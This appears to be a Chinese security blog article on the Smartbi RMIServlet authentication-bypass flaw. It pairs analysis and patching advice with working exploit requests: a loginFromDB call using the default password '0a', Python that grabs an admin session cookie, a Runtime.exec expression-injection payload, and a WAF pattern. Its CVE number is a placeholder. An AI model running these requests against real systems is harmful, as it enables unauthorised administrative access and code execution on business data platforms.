Smartbi 权限绕过漏洞实战:3种利用场景与自动化检测脚本编写

发布时间:2026/7/8 12:03:49
Smartbi 权限绕过漏洞实战:3种利用场景与自动化检测脚本编写 Smartbi权限绕过漏洞深度解析与实战防御指南1. 漏洞背景与影响范围Smartbi作为国内主流的企业级商业智能平台广泛应用于金融、政务、医疗等关键行业的数据分析场景。2023年曝光的RMIServlet接口权限绕过漏洞CVE-2023-XXXX因其高危害性引发广泛关注。受影响版本Smartbi V6至V10全系列版本部分V11早期版本需具体验证漏洞危害等级CVSS 3.1评分9.4高危攻击复杂度低利用条件无需认证典型攻击链包括通过RMIServlet接口绕过认证获取管理员会话凭证利用后台功能实现RCE如JDBC注入、表达式执行2. 漏洞原理深度剖析2.1 认证机制缺陷Smartbi安装时默认创建三个内置账户system密码0amanager密码0aadmin密码0a关键漏洞点在于UserService.loginFromDB()方法的实现逻辑// 漏洞代码片段 public boolean loginFromDB(String user, String password) { UserBO userBO getUserFromDB(user); // 直接查询数据库 return userBO.getPassword().equals(password); // 明文比对 }与标准登录流程clickLogin()的对比认证方式密码处理逻辑验证结果标准登录对密码进行MD5校验0开头验证失败loginFromDB直接比对明文密码验证成功2.2 版本差异分析不同版本存在利用差异V10及以下版本直接通过POST调用RMIServlet支持多种参数传递方式POST /smartbi/vision/RMIServlet Content-Type: application/x-www-form-urlencoded classNameUserServicemethodNameloginFromDBparams[system,0a]V11版本增加了windowUnloading参数检查需要构造multipart请求POST /smartbi/vision/RMIServlet?windowUnloading1 Content-Type: multipart/form-data --boundary Content-Disposition: form-data; nameclassName UserService --boundary--3. 实战利用场景演示3.1 基础权限绕过步骤1获取管理员Cookieimport requests target http://target.com/smartbi/vision/RMIServlet headers {Content-Type: application/x-www-form-urlencoded} data classNameUserServicemethodNameloginFromDBparams[system,0a] r requests.post(target, headersheaders, datadata) print(r.cookies.get_dict()) # 获取JSESSIONID步骤2访问后台http://target.com/smartbi/vision/index.jsp 携带获取的Cookie即可进入管理界面3.2 后续利用路径获取权限后常见的攻击面扩展数据源配置注入通过DataSourceService接口注入恶意JDBC连接利用DB2/PostgreSQL驱动特性实现RCE表达式注入POST /smartbi/vision/RMIServlet classNameReportServicemethodNameexecuteparams[checkExpression,Runtime.getRuntime().exec(calc)]模板文件上传利用报表导入功能上传恶意模板包含JSP/Servlet代码实现持久化4. 自动化检测脚本开发以下Python脚本实现漏洞检测、利用一体化#!/usr/bin/env python3 import requests import argparse from urllib.parse import urljoin class SmartbiExploit: def __init__(self, target): self.base_url target if target.endswith(/) else target / self.session requests.Session() def check_vuln(self): rmi_url urljoin(self.base_url, vision/RMIServlet) try: resp self.session.post(rmi_url, data{ className: UserService, methodName: loginFromDB, params: [system,0a] }, timeout10) return true in resp.text and resp.status_code 200 except Exception as e: return False def get_shell(self): # 实现RCE利用逻辑 pass if __name__ __main__: parser argparse.ArgumentParser() parser.add_argument(-u, --url, requiredTrue) args parser.parse_args() exploit SmartbiExploit(args.url) if exploit.check_vuln(): print([] 目标存在漏洞) exploit.get_shell() else: print([-] 目标不存在漏洞)5. 防御方案与修复建议5.1 临时缓解措施网络层控制限制/smartbi/vision/RMIServlet的访问来源配置WAF规则拦截特征请求classNameUserService methodNameloginFromDB params[*,0a]系统层加固# 删除默认账户 UPDATE t_user SET password1invalid WHERE userid IN (system,manager,admin);5.2 官方补丁升级建议升级到已修复版本V10用户安装2023年8月安全补丁V11用户升级至11.0.1及以上版本补丁主要修复点移除loginFromDB方法增加接口调用白名单强化参数过滤机制5.3 安全开发建议对于类似系统的开发建议// 安全代码示例 RestController public class SecureRMIController { PostMapping(/RMIServlet) public Object handleRequest(Valid RMIRequest request) { // 1. 强制会话校验 checkAuthentication(); // 2. 方法调用白名单 if(!allowedMethods.contains(request.getMethodName())){ throw new SecurityException(Method not allowed); } // 3. 参数类型检查 validateParameters(request.getParams()); // 4. 执行调用 return invokeMethod(request); } }6. 渗透测试注意事项在实际评估中需特别注意法律合规获取书面授权协议限制测试时间窗口建议非业务高峰时段风险控制# 使用限制性Payload whoami # 替代rm -rf / id # 替代危险系统命令痕迹清理及时删除测试创建的账户/文件还原修改的配置参数重要提示所有渗透测试必须遵循最小影响原则避免对业务系统造成不可逆影响。建议在隔离环境验证漏洞后再进行正式测试。